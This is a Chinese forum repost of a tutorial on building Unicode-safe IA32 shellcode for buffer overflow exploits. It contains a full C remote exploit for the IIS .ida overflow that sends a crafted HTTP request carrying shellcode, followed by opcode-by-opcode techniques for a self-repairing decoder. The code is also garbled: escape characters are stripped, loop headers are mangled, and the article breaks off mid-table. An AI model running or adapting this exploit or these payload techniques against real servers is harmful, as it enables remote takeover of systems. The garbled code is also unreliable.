标题: 创建IA32下针对Unicode有效的ShellCodes
ty
荣誉会员
Rank: 1



UID 9897
精华 0
积分 1868
帖子 901
威望 901
金币 892
热心 9
阅读权限 50
注册 2006-3-22
状态 离线
创建IA32下针对Unicode有效的ShellCodes

--[ 目录

0 - Unicode 标准

1 - 介绍

2 - 指令集

3 - 可能性

4 - 策略

5 - 代码的位置

6 - 结论

7 - 附录 : 代码


--[0 - Unicode 标准

在我们利用缓冲区溢出漏洞时常常会遇到一类困难:字符转换。实际上,具有漏洞的程序可能会通过设置大小写转换,去掉非字母数字组合字符串等等来修改我们的缓冲区,这样往往使得我们ShellCode的攻击不再有效。在此我们要处理的为基于从C类型字符串(通常以‘’结束的字符串)到Unicode字符串的转换。

下面我们来快速浏览一下Unicode吧:

“什么是Unicode ?
Unicode为每一个字符提供单独的编码,
无所谓何种平台,
无所谓何种程序,
无所谓何种语言。“

--- www.unicode.org

实际上,因为Internet变得如此的流行,而且我们又使用了不同的语言和不同的文字,所以现在需要一种能够让计算机在任意平台,任意程序,任意语言和任意网络间进行数据交换的标准。Unicode是一个16位的字符集,它能够为任意的字符编码,因此成为了世界范围内的字符编码标准。

今天,Unicode被以下的工业界的领头们所使用:

Apple
HP
IBM
Microsoft
Oracle
Sun
和其他各大公司...

Unicode被以下主要的软件所支持:

操作系统:

Microsoft Windows CE, Windows NT, Windows 2000, and Windows XP
GNU/Linux with glibc 2.2.2 or newer - FAQ support
Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI
Compaq's Tru64 UNIX, Open VMS
IBM AIX, AS/400, OS/2
SCO UnixWare 7.1.0
Sun Solaris

当然还包括所有运行在它们环境下的所有软件……

http://www.unicode.org/charts/ 列举了支持的字符列表,类似下图:

| 范 围 | 字符集
|-----------|--------------------
| 0000-007F | 基本拉丁文
| 0080-00FF | 拉丁文-1补充
| 0100-017F | 拉丁文扩展-A
| [...] | [...]
| 0370-03FF | 希腊语和埃及古语
| [...] | [...]
| 0590-05FF | 希伯来语
| 0600-06FF | 阿拉伯语
| [...] | [...]
| 3040-309F | 日文平假名
| 30A0-30FF | 日文片假名

Unicode 4.0 所支持的字符有:

Basic Latin Block Elements
Latin-1 Supplement Geometric Shapes
Latin Extended-A Miscellaneous Symbols
Latin Extended-B Dingbats
IPA Extensions Miscellaneous Math. Symbols-A
Spacing Modifier Letters Supplemental Arrows-A
Combining Diacritical Marks Braille Patterns
Greek Supplemental Arrows-B
Cyrillic Miscellaneous Mathematical Symbols-B
Cyrillic Supplement Supplemental Mathematical Operators
Armenian CJK Radicals Supplement
Hebrew Kangxi Radicals
Arabic Ideographic Description Characters
Syriac CJK Symbols and Punctuation
Thaana Hiragana
Devanagari Katakana
Bengali Bopomofo
Gurmukhi Hangul Compatibility Jamo
Gujarati Kanbun
Oriya Bopomofo Extended
Tamil Katakana Phonetic Extensions
Telugu Enclosed CJK Letters and Months
Kannada CJK Compatibility
Malayalam CJK Unified Ideographs Extension A
Sinhala Yijing Hexagram Symbols
Thai CJK Unified Ideographs
Lao Yi Syllables
Tibetan Yi Radicals
Myanmar Hangul Syllables
Georgian High Surrogates
Hangul Jamo Low Surrogates
Ethiopic Private Use Area
Cherokee CJK Compatibility Ideographs
Unified Canadian Aboriginal Syllabic Alphabetic Presentation Forms
Ogham Arabic Presentation Forms-A
Runic Variation Selectors
Tagalog Combining Half Marks
Hanunoo CJK Compatibility Forms
Buhid Small Form Variants
Tagbanwa Arabic Presentation Forms-B
Khmer Halfwidth and Fullwidth Forms
Mongolian Specials
Limbu Linear B Syllabary
Tai Le Linear B Ideograms
Khmer Symbols Aegean Numbers
Phonetic Extensions Old Italic
Latin Extended Additional Gothic
Greek Extended Deseret
General Punctuation Shavian
Superscripts and Subscripts Osmanya
Currency Symbols Cypriot Syllabary
Combining Marks for Symbols Byzantine Musical Symbols
Letterlike Symbols Musical Symbols
Number Forms Tai Xuan Jing Symbols
Arrows Mathematical Alphanumeric Symbols
Mathematical Operators CJK Unified Ideographs Extension B
Miscellaneous Technical CJK Compatibility Ideographs Supp.
Control Pictures Tags
Optical Character Recognition Variation Selectors Supplement
Enclosed Alphanumerics Supplementary Private Use Area-A
Box Drawing Supplementary Private Use Area-B

微软语:

“Unicode是世界范围内的字符编码标准。Windows NT,Windows 2000和Windows XP在系统级特地使用了Unicode作为字符和字符串操作的标准。Unicode简单化了软件定位并促进了多语言文本的处理。在您的程序中通过使用Unicode,您可以使你的程序通过一个简单的二进制文件来处理所有可能的字符代码,从而在全球市场上拥有统一的数据交流的能力。”

我们注意到Windows提供的编程接口包含了ASNI和Unicode各自对应的API,例如:

API: MessageBox (显示一个消息框)是从User32.dll中导出的:
MessageBoxA (ANSI)
MessageBoxW (Unicode)

MessageBoxA 将接受一个标准的C类型字符串作为参数;
MessageBoxW 则需要一个Unicode编码的字符串作为参数。

据微软称,系统内部在处理字符串之前将会在不同标准间进行透明的类型转换。但是如果你想在Windows下使用ANSI编写一个C程序,那么需要定义UNICODE,并且每个API都将被替换为‘W’版本。

这一点吸引了我,现在让我们直接进入主题吧……


--[ 1 - 介绍

我们将会考虑如下的情形:

您发送了一些数据到容易被攻击的服务器,并且你的数据被认为是以ASCII标准编码的,那么你的缓冲区将会因为兼容性的原因被转换为Unicode编码,并且将会在你发送的已经转换过的缓冲区里发生溢出。

例如,下面的输入缓冲区:

4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !...
0000 0000 0000 0000 0000 0000 0000 0000 ................

转换之后:
4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o.
7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!.......

这时,溢出发送了(当然我知道我所给出的例子是如此的乏味)

在Win32平台下,进程通常是在00401000处开始执行的,这就使得我们通过返回一个如下形式的地址来打乱 EIP:

????:00??00??

所以即使如此简单的转换,漏洞的利用同样成为可能。但是如果要获得一个可行的ShellCode那将需要很多艰辛的劳动!一种可能性就是将未转换的ShellCode连续填入到堆栈中直到填满,这时通过转换之后的代码进行溢出,使其返回到我们众多可计数的某一个ShellCode上来。在此我们假设这是不可能的,因为所有的缓冲区都是基于Unicode编码的。更不必说我们的汇编指令不会执行如此不安全的代码。我们需要找到一种能经受住类型转换的ShellCode,也就是在Unicode编码下仍然行之有效的ShellCode。首先,我们需要查找含有空字节的操作码来创建我们的ShellCode。

虽然这是一个有些老了的例子,但它可以说明在发送的缓冲区被“污染”之后,仍然可以保证正确执行我们的ShellCode。
(这个漏洞在我的电脑上执行成功,它是针对IIS的WWW服务):

---------------- CUT HERE -------------------------------------------------
/*
IIS .IDA 远程溢出漏洞

格式化返回地址: 0x00530053
IIS 持有的我们的大缓冲区地址:0x0052....
我们跳到缓冲区,并得到需要的指针

by obscurer
*/

#include
#include
#include

void usage(char *a);
int wsa();

/* 我的通用 Win32 Shellcode */
unsigned char shellcode[]={
"xEBx68x4Bx45x52x4Ex45x4Cx13x12x20x67x4Cx4Fx42x41"
"x4Cx61x4Cx4Cx4Fx43x20x7Fx4Cx43x52x45x41x54x20x7F"
[......]
[......]
[......]
"x09x05x01x01x69x01x01x01x01x57xFEx96x11x05x01x01"
"x69x01x01x01x01xFEx96x15x05x01x01x90x90x90x90x00"};

int main (int argc, char **argv)
{

int sock;
struct hostent *host;
struct sockaddr_in sin;
int index;

char *xploit;
char *longshell;


char retstring[250];

if(argc!=4&&argc!=5) usage(argv[0]);


if(wsa()==FALSE)
{
printf("Error : cannot initialize winsock ");
exit(0);
}


int size=0;

if(argc==5)
size=atoi(argv[4]);


printf("Beginning Exploit building ");

xploit=(char *)malloc(40000+size);
longshell=(char *)malloc(35000+size);
if(!xploit||!longshell)
{
printf("Error, not enough memory to build exploit ");
return 0;
}

if(strlen(argv[3])>65)
{
printf("Error, URL too long to fit in the buffer ");
return 0;
}

for(index=0;indexshellcode[index+139]=argv[3][index]^0x20;

memset(xploit,0,40000+size);
memset(longshell,0,35000+size);
memset (longshell, 'x41', 30000+size);

for(index=0;indexlongshell[index+30000+size]=shellcode[index];

longshell[30000+sizeof(shellcode)+size]=0;


memset(retstring,'S',250);

sprintf(xploit,
"GET /NULL.ida?%s=x HTTP/1.1 Host: localhost Alex: %s ",
retstring,
longshell);


printf("Exploit build, connecting to %s:%d ",argv[1],atoi(argv[2]));

sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
printf("Error : Couldn't create a socket ");
return 0;
}


if ((inet_addr (argv[1]))==-1)
{
host = gethostbyname (argv[1]);
if (!host)
{
printf ("Error : Couldn't resolve host ");
return 0;
}
memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr,
(unsigned long *)host->h_addr,
sizeof(host->h_addr));

}
else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]);


sin.sin_family=AF_INET;
sin.sin_port=htons(atoi(argv[2]));

index=connect(sock,(struct sockaddr *)&sin,sizeof(sin));
if (index==-1)
{
printf("Error : Couldn't connect to host ");
return 0;
}

printf("Connected to host, sending shellcode ");

index=send(sock,xploit,strlen(xploit),0);
if(index<1)
{
printf("Error : Couldn't send trough socket ");
return 0;
}

printf("Done, waiting for an answer ");

memset (xploit,0, 2000);

index=recv(sock,xploit,100,0);
if(index<0)
{
printf("Server crashed, if exploit didn't work, increase buffer size by 10000 ");
exit(0);
}


printf("Exploit didn't seem to work, closing connection ",xploit);

closesocket(sock);

printf("Done ");

return 0;
}
---------------- CUT HERE -------------------------------------------------

在本例中,漏洞的字符串形式如下:

"GET /NULL.ida?[BUFFER]=x HTTP/1.1 Host: localhost Alex: [ANY] "

如果[BUFFER]足够大,EIP将会被它说包含的内容打乱。但是,我注意到在溢出发生的时候[BUFFER]被转换为Unicode编码。但是一些有趣的事是[ANY]是一个被映射到00530000附近的干净ASCII缓冲区。所以,我试图将[BUFFER]设置为“SSSSSSSSSSSSS”( S = 0x53),在Unicode转换之后,为如下形式:

...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53...

EIP被打乱为0x00530053,IIS返回到[ANY]附近。我在[ANY]附近设置了大量的0x41 = 'A'(增加寄存器)和我的ShellCode。这样,我的ShellCode被成功执行了,但是如果我们没有干净的缓冲区,将无法在存储器中安装我们的ShellCode。我们必须寻找其他的解决办法。


--[ 2 - 指令集

我们必须记住不能使用绝对地址的调用(call),跳转(jmp)等指令,因为我们希望自己的ShellCode具有尽量可能的兼容性。
首先,要了解哪些操作码能够被利用,哪些是我们无法利用的,这样就可以找到一种对应的策略。在Intel的文档中提到:

r32 对应于一个32位的寄存器(eax,esi,ebp...)
r8 对应于一个 8位的寄存器(ah,bl,cl...)

- 无条件跳转(JMP)

JMP的可能操作码为基于相对跳转的EB和E9,它们必须后跟一个字节,所以我们无法使用它们(00 意味着跳转到下一条指令,对我们来说基本上没有用)。

对应绝对跳转的FF和FA,它们的操作码不能后跟00,除非我们希望跳转到一个已知的地址,但是这就只是一个硬编码的ShellCode了!

- 条件跳转 (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...)

远跳转(far jumps)指令的语法指示其必须后跟两个连续的非空字节,所以无用。而对于近跳转(near jumps)后跟将要跳转的距离,而00将不会被使用,所以JMP r32对我们来说是不可能的了。

- 循环 (LOOP, LOOPcc : LOOPE, LOOPNZ..)

一些问题:E0,E1,E2都是循环指令,它们需要跟交叉的字节数……

- 重复 (REP, REPcc : REPNE, REPNZ, REP + 字符串操作)

这些指令都是以双字节开始的,所以同样没有利用的价值。

- 调用

只有相对调用可以被利用:
E8 ?? ?? ?? ??
在我们所遇到的情况中,必须为:
E8 00 ?? 00 ?? (对应的每个 ?? != 00)
因为我们的调用将会至少是01000000字节或更远,这时将无法利用,所以CALL r32也是不可能的。

- 条件设置字节 (SETcc)

这条指令需要两个非空字节(例如 SETA 为 0F 97)。

看起来是很困难的……我们不能做任何的测试……因为我们不能做任何的有条件的事!并且,我们不能移动我们的代码:没有JUMP,没有CALLS可以被使用,没有LOOPS也没有REPEATS可以执行!

那我们能做什么呢?

注意咯!我们在操作 EAX 寄存器时会有很多的空字符可以使用!!!因为我们在使用EAX,[EAX],AX等等作为操作数时,它们往往存在十六进制编码的 00。

- 单字节操作数

我们可以使用任何的单字节操作码,这将给予我们 INC 或 DEL 任意寄存器的机会,XCHG 和 PUSH/POP 操作寄存器时同样也可以利用起来。
我们可以做:
XCHG r32,r32
POP r32
PUSH r32


- MOV
________________________________________________________________
|8800 mov [eax],al |
|8900 mov [eax],eax |
|8A00 mov al,[eax] |
|8B00 mov eax,[eax] |
| |
|没什么价值。 |
|________________________________________________________________|

________________________________________________________________
|A100??00?? mov eax,[0x??00??00] |
|A200??00?? mov [0x??00??00],al |
|A300??00?? mov [0x??00??00],eax |
| |
|硬编码地址对我们来说也没有用。 |
|________________________________________________________________|

________________________________________________________________
|B_00 mov r8,0x0 |
|A4 movsb |
| |
|这些情况可能有用。 |
|________________________________________________________________|

________________________________________________________________
|B_00??00?? mov r32,0x??00??00 |
|C600?? mov byte [eax],0x?? |
| |
|这对修补存储器有用。 |
|________________________________________________________________|


- ADD

________________________________________________________________
|00__ add [r32], r8 |
| |
| 将寄存器作为指针,我们可以添加信息到存储器内。 |
| |
|00__ add r8,r8 |
| |
| 可以用来修改寄存器。 |
|________________________________________________________________|


- XOR

________________________________________________________________
|3500??00?? xor eax,0x??00??00 |
| |
| |
| 可以用来修改EAX寄存器。 |
|________________________________________________________________|


- PUSH

________________________________________________________________
|6A00 push dword 0x00000000 |
|6800??00?? push dword 0x??00??00 |
| |
| 只有这个可以被利用成功。 |
|________________________________________________________________|


--[ 3 - 可能性

首先我们需要去掉一些小的细节:通过这种方法在我们的代码中存放的0x00可能会需要一些谨慎,因为如果我们从一个打乱的 EIP 返回到 ADDR:

... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ...
||s
ADDR

如果我们返回到 ADDR 或 ADDR+1 时,得到的结果可能会完全的不同!
但是我们可以使用“空操作”指令,比如:

________________________________________________________________
|0400 add al,0x0 |
|________________________________________________________________|


因为000400对应:add [2*eax],al,我们可以跳转到任何想去的地方,这将不会因为指向0x00或其他而烦恼了。

但是它需要 2*eax 指向一个有效的指针,我们同样有:

________________________________________________________________
|06 push es |
|0006 add [esi],al |
| |
|0F000F str [edi] |
|000F add [edi],cl |
| |
|2E002E add [cs:esi],ch |
|002E add [esi],ch |
| |
|2F das |
|002F add [edi],ch |
| |
|37 aaa |
|0037 add [edi],dh |
| ; .... 等 等... |
|________________________________________________________________|


我们只需要注意排列队列的问题了。

然后,看看我们能做些什么:

XCHG, INC, DEC, PUSH, POP 32位的寄存器可以被直接得操作。

我们可以设置一个寄存器(r32)为 00000000:

________________________________________________________________
|push dword 0x00000000 |
|pop r32 |
|________________________________________________________________|


注意,我们可以通过 XCHG 指令来操作任何的寄存器,就像操作EAX寄存器一样。

例如我们可以在第二个位置通过 0x00 来设置 EDX 为任何的值,(如:0x12005678)

________________________________________________________________
|mov edx,0x12005600 ; EDX = 0x12005600 |
|mov ecx,0xAA007800 |
|add dl,ch ; EDX = 0x12005678 |
|________________________________________________________________|


更大的困难:我们可以设置 EAX 为任意值,但是我们需要一些技巧来处理堆栈。

________________________________________________________________
|mov eax,0xAA003400 ; EAX = 0xAA003400 |
|push eax |
|dec esp |
|pop eax ; EAX = 0x003400?? |
|add eax,0x12005600 ; EAX = 0x123456?? |
|mov al,0x0 ; EAX = 0x12345600 |
|mov ecx,0xAA007800 |
|add al,ch |
| ; 最终: EAX = 0x12345678 |
|________________________________________________________________|


同时注意,我们可能同样需要设置一个 0x00:

如果我们希望由 0x00 来代替 0x12,可以通过添加 0x56 到 ah 来代替执行添加 0x00120056 到寄存器中。

________________________________________________________________
|mov ecx,0xAA005600 |
|add ah,ch |
|________________________________________________________________|


如果我们希望由 0x00 来代替 0x34,可以通过在开始设置 EAX = 0x00000000 来代替设置 0x34。

如果我们希望 0x00 来代替 0x56,那么只须简单地通过添加 0x100 - 0x56 = 0xAA 来实现。

________________________________________________________________
| ; EAX = 0x123456?? |
|mov ecx,0xAA00AA00 |
|add ah,ch |
|________________________________________________________________|


如果我们希望由 0x00 来代替最后的字节,那么只须丢掉最后的一行即可。

可能你没有考虑到这么多,记住你能够跳转到一个给定的地址(假设地址存放在 EAX 中):

________________________________________________________________
|50 push eax |
|C3 ret |
|________________________________________________________________|

你可能在绝望的时候使用这种代码。


--[ 4 - 策略

以上看起来利用一些这么小的操作码是否不可能执行什么实际的ShellCode,答案是否!我们来看看这种开发思路:

给出一个可执行的ShellCode,我们必须去掉每个字节之间的 00。我们需要一个循环(Loop_code),假设 EAX 指向了我们的ShellCode:

_Loop_code_:____________________________________________________
| ; eax 指向我们的 shellcode |
| ; ebx == 0x00000000 |
| ; ecx == 0x00000500 (例如) |
| |
| label: |
|43 inc ebx |
|8A1458 mov byte dl,[eax+2*ebx] |
|881418 mov byte [eax+ebx],dl |
|E2F7 loop label |
|________________________________________________________________|

问题在于没有Unicode字符,所以我们将它们转换为Unicode:

43 8A 14 58 88 14 18 E2 F7, 转换结果为:
43 00 14 00 88 00 18 00 F7

现在,考虑到我们可以书写数据到EAX指向的地址,那么转换这些 00 为原始的数据将是比较简单的事情了。

我们只需要这样做(假设EAX指向我们的数据)

________________________________________________________________
|40 inc eax |
|40 inc eax |
|C60058 mov byte [eax],0x58 |
|________________________________________________________________|


问题:仍然没有Unicode字符。例如两个 0x40 相连,我们需要在它们之间插入 00, 但单单一个 00 又不合适。我们需要如 00??00 类似的数据,并且它们不会影响到我们的代码,如:

add [ebp+0x0],al (0x004500)

这将是合适的,最后我们可以得到:

________________________________________________________________
|40 inc eax |
|004500 add [ebp+0x0],al |
|40 inc eax |
|004500 add [ebp+0x0],al |
|C60058 mov byte [eax],0x58 |
|________________________________________________________________|

-> [40 00 45 00 40 00 45 00 C6 00 58] 现在已经是Unicode编码了,呵呵!

在我们循环之前,必须有些事情要做:
首先,我们必须设置一个合适的计数器,我打算设置 ECX 为 0x0500,这将适应1280字节的ShellCode,不过这个是可以更改的。
-> 这可以轻松的实现,参见前面我们的讨论;
然后,我们必须设置EBX为 0x00000000,这样循环才可以完全得工作;
-> 这个也比较简单;
最后,我们必须设置EAX指向我们自己的ShellCode,这样才能够修改更换过的空字节。
-> 这将是一件艰难的事情,我们在后面讨论。

假设 EAX 指向了我们的代码,我们可以创建一个用来清洁代码的头部(我们使用 add [ebp+0x0],al 来排列空字符)


-> 第一部:我们设置 EBX=0x00000000 和 ECX=0x00000500 (缓冲区的大概位置)
________________________________________________________________
|6A00 push dword 0x00000000 |
|6A00 push dword 0x00000000 |
|5D pop ebx |
|004500 add [ebp+0x0],al |
|59 pop ecx |
|004500 add [ebp+0x0],al |
|BA00050041 mov edx,0x41000500 |
|00F5 add ch,dh |
|________________________________________________________________|


-> 第二部:循环代码的补丁:
43 00 14 00 88 00 18 00 F7 ===> 43 8A 14 58 88 14 18 E2 F7
这样我们需要恰好四字节的长度:

(使用 {add dword [eax],0x00??00??} 占用了更多的位置,我们将使用一个转移指令 {mov byte [eax],0x??} 来代替)

________________________________________________________________
|mov byte [eax],0x8A |
|inc eax |
|inc eax |
|mov byte [eax],0x58 |
|inc eax |
|inc eax |
|mov byte [eax],0x14 |
|inc eax |
| ; 更多的 inc 能够得到 EAX 指向的ShellCode |
|________________________________________________________________|

排列队列指令{add [ebp+0x0],al} :
________________________________________________________________
|004500 add [ebp+0x0],al |
|C6008A mov byte [eax],0x8A ; 0x8A |
|004500 add [ebp+0x0],al |
| |
|40 inc eax |
|004500 add [ebp+0x0],al |
|40 inc eax |
|004500 add [ebp+0x0],al |
|C60058 mov byte [eax],0x58 ; 0x58 |
|004500 add [ebp+0x0],al |
| |
|40 inc eax |
|004500 add [ebp+0x0],al

顶部
[广告] 免费域名(Free Subdomain) 免费空间(Free hosting) PR查询(Google Pagerank)



当前时区 GMT+8, 现在时间是 2008-10-8 11:53
信产部ICP备案:京ICP备05066424号 北京市公安局网监备案:1101050648号

Powered by Discuz! 5.5.0
清除 Cookies - 联系我们 - 网友俱乐部 - Archiver - WAP